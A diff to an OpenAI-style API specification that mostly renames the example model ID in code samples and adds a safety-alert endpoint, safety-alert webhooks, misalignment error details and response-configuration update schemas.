+ "model": "gpt-6-astra",
"output": [
{
"type": "message",
@@ -22478,6 +22478,48 @@ paths:
"metadata": {"topic": "project-x"}
}
description: Update a conversation
+ /safety/alerts/{id}:
+ get:
+ summary: Retrieve a safety alert
+ operationId: Getprojectsafetyalert
+ parameters:
+ - name: id
+ in: path
+ description: Project safety alert ID
+ required: true
+ schema:
+ description: Project safety alert ID
+ type: string
+ maxLength: 38
+ responses:
+ '200':
+ description: Success
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SafetyAlertResource'
+ x-oaiMeta:
+ name: Retrieve a safety alert
+ group: safety-alerts
+ path: retrieve
+ examples:
+ request:
+ curl: |
+ curl https://api.openai.com/v1/safety/alerts/alert_0123456789abcdef0123456789abcdef \
+ -H "Authorization: Bearer $OPENAI_API_KEY"
+ response: |
+ {
+ "id": "alert_0123456789abcdef0123456789abcdef",
+ "object": "safety.alert",
+ "created_at": 1787659200,
+ "request_id": "req_123",
+ "response_id": "resp_123",
+ "model": "gpt-6-astra",
+ "request_paused": true,
+ "error_type": "potentially_unintended_data_access",
+ "reason": "Potentially unintended data access."
+ }
+ description: Get a safety alert belonging to the authenticated API project.
/organization/spend_limit:
get:
summary: Retrieve organization spend limit
@@ -23556,7 +23598,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": "Tell me a joke."
}'
javascript: |
@@ -23565,7 +23607,7 @@ paths:
const client = new OpenAI();
const response = await client.responses.inputTokens.count({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
input: "Tell me a joke.",
});
@@ -23576,7 +23618,7 @@ paths:
client = OpenAI()
response = client.responses.input_tokens.count(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input="Tell me a joke."
)
print(response.input_tokens)
@@ -23594,7 +23636,7 @@ paths:
func main() {
client := openai.NewClient()
response, err := client.Responses.InputTokens.Count(context.TODO(), responses.InputTokenCountParams{
- Model: "gpt-5.6-sol",
+ Model: "gpt-6-astra",
Input: "Tell me a joke.",
})
if err != nil {
@@ -23607,7 +23649,7 @@ paths:
openai = OpenAI::Client.new
- response = openai.responses.input_tokens.count(model: "gpt-5.6-sol", input: "Tell me a joke.")
+ response = openai.responses.input_tokens.count(model: "gpt-6-astra", input: "Tell me a joke.")
puts(response)
java: |
@@ -23625,7 +23667,7 @@ paths:
OpenAIClient client = OpenAIOkHttpClient.fromEnv();
InputTokenCountParams params = InputTokenCountParams.builder()
- .model("gpt-5.6-sol")
+ .model("gpt-6-astra")
.input("Tell me a joke.")
.build();
@@ -23670,7 +23712,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": [
{
"role": "user",
@@ -23699,7 +23741,7 @@ paths:
// Compact the previous response if you are running out of tokens
const compactedResponse = await openai.responses.compact({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
input: [
{
role: "user",
@@ -23731,7 +23773,7 @@ paths:
client = OpenAI()
compacted_response = client.responses.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input=[
{
"role": "user",
@@ -24921,7 +24963,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": "Tell me a three sentence bedtime story about a unicorn."
}'
javascript: |
@@ -24930,7 +24972,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
input: "Tell me a three sentence bedtime story about a unicorn."
});
@@ -24941,7 +24983,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input="Tell me a three sentence bedtime story about a unicorn."
)
@@ -24951,7 +24993,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -24969,7 +25011,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "message",
@@ -25024,7 +25066,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": [
{
"role": "user",
@@ -25044,7 +25086,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
input: [
{
role: "user",
@@ -25067,7 +25109,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input=[
{
"role": "user",
@@ -25090,7 +25132,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -25118,7 +25160,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "message",
@@ -25173,7 +25215,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": [
{
"role": "user",
@@ -25194,7 +25236,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
input: [
{
role: "user",
@@ -25217,7 +25259,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input=[
{
"role": "user",
@@ -25247,7 +25289,7 @@ paths:
"instructions": null,
"max_output_tokens": null,
"max_tool_calls": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"id": "msg_686eef60d3e081a29283bdcbc4322fd90e34c516d176ff86",
@@ -25305,7 +25347,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"tools": [{ "type": "web_search_preview" }],
"input": "What was a positive news story from today?"
}'
@@ -25315,7 +25357,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
tools: [{ type: "web_search_preview" }],
input: "What was a positive news story from today?",
});
@@ -25327,7 +25369,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
tools=[{ "type": "web_search_preview" }],
input="What was a positive news story from today?",
)
@@ -25339,7 +25381,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -25367,7 +25409,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "web_search_call",
@@ -25462,7 +25504,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"tools": [{
"type": "file_search",
"vector_store_ids": ["vs_1234567890"],
@@ -25476,7 +25518,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
tools: [{
type: "file_search",
vector_store_ids: ["vs_1234567890"],
@@ -25492,7 +25534,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
tools=[{
"type": "file_search",
"vector_store_ids": ["vs_1234567890"],
@@ -25508,7 +25550,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -25539,7 +25581,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "file_search_call",
@@ -25665,7 +25707,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"instructions": "You are a helpful assistant.",
"input": "Hello!",
"stream": true
@@ -25676,7 +25718,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
instructions="You are a helpful assistant.",
input="Hello!",
stream=True
@@ -25690,7 +25732,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
instructions: "You are a helpful assistant.",
input: "Hello!",
stream: true,
@@ -25707,7 +25749,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -25729,10 +25771,10 @@ paths:
}
response: |
event: response.created
- data: {"type":"response.created","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.6-sol","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
+ data: {"type":"response.created","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
event: response.in_progress
- data: {"type":"response.in_progress","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.6-sol","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
+ data: {"type":"response.in_progress","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
event: response.output_item.added
data: {"type":"response.output_item.added","output_index":0,"item":{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"in_progress","role":"assistant","content":[]}}
@@ -25755,7 +25797,7 @@ paths:
data: {"type":"response.output_item.done","output_index":0,"item":{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}}
event: response.completed
- data: {"type":"response.completed","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"completed","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.6-sol","output":[{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":{"input_tokens":37,"output_tokens":11,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":48},"user":null,"metadata":{}}}
+ data: {"type":"response.completed","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"completed","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":{"input_tokens":37,"output_tokens":11,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":48},"user":null,"metadata":{}}}
- title: Functions
request:
curl: |
@@ -25763,7 +25805,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": "What is the weather like in Boston today?",
"tools": [
{
@@ -25813,7 +25855,7 @@ paths:
]
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
tools=tools,
input="What is the weather like in Boston today?",
tool_choice="auto"
@@ -25845,7 +25887,7 @@ paths:
];
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
tools: tools,
input: "What is the weather like in Boston today?",
tool_choice: "auto",
@@ -25857,7 +25899,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -25903,7 +25945,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "function_call",
@@ -25976,7 +26018,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": "How much wood would a woodchuck chuck?",
"reasoning": {
"effort": "high"
@@ -25987,7 +26029,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
input: "How much wood would a woodchuck chuck?",
reasoning: {
effort: "high"
@@ -26000,7 +26042,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input="How much wood would a woodchuck chuck?",
reasoning={
"effort": "high"
@@ -26013,7 +26055,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -26041,7 +26083,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "message",
@@ -26215,7 +26257,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "message",
@@ -26406,7 +26448,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "message",
@@ -26486,7 +26528,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": [
{
"role": "user",
@@ -26515,7 +26557,7 @@ paths:
// Compact the previous response if you are running out of tokens
const compactedResponse = await openai.responses.compact({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
input: [
{
role: "user",
@@ -26547,7 +26589,7 @@ paths:
client = OpenAI()
compacted_response = client.responses.compact(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input=[
{
"role": "user",
@@ -26767,7 +26809,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": "Tell me a joke."
}'
javascript: |
@@ -26776,7 +26818,7 @@ paths:
const client = new OpenAI();
const response = await client.responses.inputTokens.count({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
input: "Tell me a joke.",
});
@@ -26787,7 +26829,7 @@ paths:
client = OpenAI()
response = client.responses.input_tokens.count(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input="Tell me a joke."
)
print(response.input_tokens)
@@ -26805,7 +26847,7 @@ paths:
func main() {
client := openai.NewClient()
response, err := client.Responses.InputTokens.Count(context.TODO(), responses.InputTokenCountParams{
- Model: "gpt-5.6-sol",
+ Model: "gpt-6-astra",
Input: "Tell me a joke.",
})
if err != nil {
@@ -26818,7 +26860,7 @@ paths:
openai = OpenAI::Client.new
- response = openai.responses.input_tokens.count(model: "gpt-5.6-sol", input: "Tell me a joke.")
+ response = openai.responses.input_tokens.count(model: "gpt-6-astra", input: "Tell me a joke.")
puts(response)
java: |
@@ -26836,7 +26878,7 @@ paths:
OpenAIClient client = OpenAIOkHttpClient.fromEnv();
InputTokenCountParams params = InputTokenCountParams.builder()
- .model("gpt-5.6-sol")
+ .model("gpt-6-astra")
.input("Tell me a joke.")
.build();
@@ -27033,6 +27075,28 @@ webhooks:
application/json:
schema:
$ref: '#/components/schemas/WebhookResponseIncomplete'
+ safety_alert_created:
+ post:
+ responses:
+ '200':
+ description: Return any 2xx status code to acknowledge receipt. A 410 Gone response also stops retries; other non-2xx responses are retried.
+ requestBody:
+ description: The event payload sent by the API.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/WebhookSafetyAlertCreated'
+ safety_org_alert_created:
+ post:
+ responses:
+ '200':
+ description: Return any 2xx status code to acknowledge receipt. A 410 Gone response also stops retries; other non-2xx responses are retried.
+ requestBody:
+ description: The event payload sent by the API.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/WebhookSafetyOrgAlertCreated'
components:
schemas:
AddUploadPartRequest:
@@ -28768,7 +28832,7 @@ components:
model:
type: string
description: |
- Model ID used to process the batch, like `gpt-5.6-sol`. OpenAI
+ Model ID used to process the batch, like `gpt-6-astra`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the [model
guide](https://platform.openai.com/docs/models) to browse and compare available models.
@@ -28903,7 +28967,7 @@ components:
"id": "batch_abc123",
"object": "batch",
"endpoint": "/v1/chat/completions",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"errors": null,
"input_file_id": "file-abc123",
"completion_window": "24h",
@@ -29207,7 +29271,7 @@ components:
{
"object": "chat.completion",
"id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"created": 1738960610,
"request_id": "req_ded8ab984ec4bf840f37566c1011c417",
"tool_choice": null,
@@ -30913,6 +30977,7 @@ components:
- $ref: '#/components/schemas/ToolSearchCall'
- $ref: '#/components/schemas/ToolSearchOutput'
- $ref: '#/components/schemas/AdditionalTools'
+ - $ref: '#/components/schemas/ResponseConfigurationUpdate'
- $ref: '#/components/schemas/ReasoningItem'
- $ref: '#/components/schemas/Program'
- $ref: '#/components/schemas/ProgramOutput'
@@ -31037,7 +31102,7 @@ components:
"value": 0.06,
"currency": "usd"
},
- "line_item": "gpt-5.6-sol, input_tokens",
+ "line_item": "gpt-6-astra, input_tokens",
"project_id": "proj_abc",
"quantity": 10000,
"quantity_unit": "tokens"
@@ -31268,7 +31333,7 @@ components:
$ref: '#/components/schemas/ChatCompletionRequestMessage'
model:
description: |
- Model ID used to generate the response, like `gpt-5.6-sol` or `o3`. OpenAI
+ Model ID used to generate the response, like `gpt-6-astra` or `o3`. OpenAI
offers a wide range of models with different capabilities, performance
characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models)
to browse and compare available models.
@@ -31657,7 +31722,7 @@ components:
"id": "chatcmpl-B9MHDbslfkBeAs8l4bebGdFOJ6PeG",
"object": "chat.completion",
"created": 1741570283,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"choices": [
{
"index": 0,
@@ -31803,13 +31868,13 @@ components:
name: The chat completion chunk object
group: chat
example: |
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-5.6-sol", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}],"obfuscation":"r4N7vQ2m"}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-6-astra", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}],"obfuscation":"r4N7vQ2m"}
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-5.6-sol", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}],"obfuscation":"p9K3xT6w"}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-6-astra", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}],"obfuscation":"p9K3xT6w"}
....
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-5.6-sol", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}],"obfuscation":""}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-6-astra", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}],"obfuscation":""}
CreateCompletionRequest:
type: object
properties:
@@ -32381,17 +32446,17 @@ components:
group: eval runs
example: |
{
- "name": "gpt-5.6-sol",
+ "name": "gpt-6-astra",
"data_source": {
"type": "completions",
"input_messages": {
"type": "item_reference",
"item_reference": "item.input"
},
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"source": {
"type": "stored_completions",
- "model": "gpt-5.6-sol"
+ "model": "gpt-6-astra"
}
}
}
@@ -32742,17 +32807,17 @@ components:
group: eval runs
example: |
{
- "name": "gpt-5.6-sol",
+ "name": "gpt-6-astra",
"data_source": {
"type": "responses",
"input_messages": {
"type": "item_reference",
"item_reference": "item.input"
},
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"source": {
"type": "responses",
- "model": "gpt-5.6-sol"
+ "model": "gpt-6-astra"
}
}
}
@@ -34987,6 +35052,10 @@ components:
type: string
description: |
The input for the custom tool call generated by the model.
+ async:
+ type: boolean
+ description: |
+ Whether the custom tool call runs asynchronously.
required:
- type
- call_id
@@ -35586,6 +35655,8 @@ components:
- type: 'null'
type:
type: string
+ misalignment:
+ $ref: '#/components/schemas/MisalignmentErrorDetailsResource'
required:
- type
- message
@@ -35623,7 +35694,7 @@ components:
Like:
- Improve the quality of my chatbot
- See how well my chatbot handles customer support
- - Check if o4-mini is better at my usecase than gpt-5.6-sol
+ - Check if o4-mini is better at my usecase than gpt-6-astra
properties:
object:
type: string
@@ -36216,7 +36287,7 @@ components:
example: |
{
"type": "responses",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"users": ["user1", "user2"],
"tools": ["tool1", "tool2"],
"instructions_search": "You are a coding assistant"
@@ -36369,8 +36440,8 @@ components:
"eval_id": "eval_67e579652b548190aaa83ada4b125f47",
"report_url": "https://platform.openai.com/evaluations/eval_67e579652b548190aaa83ada4b125f47?run_id=evalrun_67e57965b480819094274e3a32235e4c",
"status": "queued",
- "model": "gpt-5.6-sol",
- "name": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
+ "name": "gpt-6-astra",
"created_at": 1743092069,
"result_counts": {
"total": 0,
@@ -36498,7 +36569,7 @@ components:
}
]
},
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"sampling_params": {
"max_completions_tokens": 2048
}
@@ -36784,7 +36855,7 @@ components:
}
],
"finish_reason": "stop",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"usage": {
"total_tokens": 521,
"completion_tokens": 2,
@@ -36878,7 +36949,7 @@ components:
}
],
"finish_reason": "stop",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"usage": {
"total_tokens": 521,
"completion_tokens": 2,
@@ -36993,7 +37064,7 @@ components:
model:
anyOf:
- type: string
- description: An optional model to filter by (e.g., 'gpt-5.6-sol').
+ description: An optional model to filter by (e.g., 'gpt-6-astra').
- type: 'null'
created_after:
anyOf:
@@ -37018,7 +37089,7 @@ components:
example: |
{
"type": "stored_completions",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"created_after": 1668124800,
"created_before": 1668124900,
"limit": 100,
@@ -37897,6 +37968,10 @@ components:
- in_progress
- completed
- incomplete
+ async:
+ type: boolean
+ description: |
+ Whether the function tool call runs asynchronously.
required:
- type
- call_id
@@ -39751,6 +39826,7 @@ components:
- $ref: '#/components/schemas/ToolSearchCallItemParam'
- $ref: '#/components/schemas/ToolSearchOutputItemParam'
- $ref: '#/components/schemas/AdditionalToolsItemParam'
+ - $ref: '#/components/schemas/ResponseConfigurationUpdateItemParam'
- $ref: '#/components/schemas/ReasoningItem'
- $ref: '#/components/schemas/CompactionSummaryItemParam'
- $ref: '#/components/schemas/ImageGenToolCall'
@@ -39784,6 +39860,7 @@ components:
- $ref: '#/components/schemas/ToolSearchCall'
- $ref: '#/components/schemas/ToolSearchOutput'
- $ref: '#/components/schemas/AdditionalTools'
+ - $ref: '#/components/schemas/ResponseConfigurationUpdate'
- $ref: '#/components/schemas/ReasoningItem'
- $ref: '#/components/schemas/Program'
- $ref: '#/components/schemas/ProgramOutput'
@@ -41420,7 +41497,7 @@ components:
name: The model object
example: |
{
- "id": "gpt-5.6-sol",
+ "id": "gpt-6-astra",
"object": "model",
"created": 1686935002,
"owned_by": "openai",
@@ -41435,9 +41512,9 @@ components:
- $ref: '#/components/schemas/ModelIdsResponses'
- type: string
- type: 'null'
- description: Model ID used to generate the response, like `gpt-5.6-sol`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models) to browse and compare available models.
+ description: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models) to browse and compare available models.
ModelIdsResponses:
- example: gpt-5.6-sol
+ example: gpt-6-astra
anyOf:
- $ref: '#/components/schemas/ModelIdsShared'
- type: string
@@ -41463,7 +41540,7 @@ components:
- gpt-daybreak-red-latest
- gpt-5.6-cyber
ModelIdsShared:
- example: gpt-5.6-sol
+ example: gpt-6-astra
anyOf:
- type: string
- $ref: '#/components/schemas/ChatModel'
@@ -42773,7 +42850,7 @@ components:
"object": "project.model_permissions",
"mode": "allow_list",
"model_ids": [
- "gpt-5.6-sol",
+ "gpt-6-astra",
"o3"
]
}
@@ -52128,11 +52205,16 @@ components:
properties:
reason:
type: string
- description: The reason why the response is incomplete.
+ description: |
+ The reason why the response is incomplete. `steered` means
+ the response stopped at a safe output boundary after a
+ WebSocket `response.steer` event. The server can then create
+ a successor response automatically with the queued input.
enum:
- max_output_tokens
- max_messages
- content_filter
+ - steered
- type: 'null'
output:
type: array
@@ -52564,7 +52646,7 @@ components:
"input": [],
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"id": "msg_123",
@@ -52605,6 +52687,66 @@ components:
},
"sequence_number": 1
}
+ ResponseConfigurationUpdate:
+ type: object
+ description: |
+ A configuration update that applies to subsequent responses until it is
+ replaced by another configuration update.
+ properties:
+ id:
+ type: string
+ description: The unique ID of the configuration update item.
+ example: cnfu_123
+ type:
+ type: string
+ enum:
+ - configuration_update
+ description: The item type. Always `configuration_update`.
+ default: configuration_update
+ x-stainless-const: true
+ reasoning:
+ type: object
+ description: The reasoning configuration applied by this update.
+ properties:
+ effort:
+ $ref: '#/components/schemas/ReasoningEffort'
+ description: |
+ The reasoning effort used for subsequent responses until another
+ configuration update replaces it.
+ required:
+ - id
+ - type
+ ResponseConfigurationUpdateItemParam:
+ type: object
+ description: |
+ An update to the conversation's response configuration. The configuration
+ remains in effect for subsequent responses until it is replaced by another
+ configuration update.
+ properties:
+ id:
+ anyOf:
+ - type: string
+ description: The unique ID of the configuration update item.
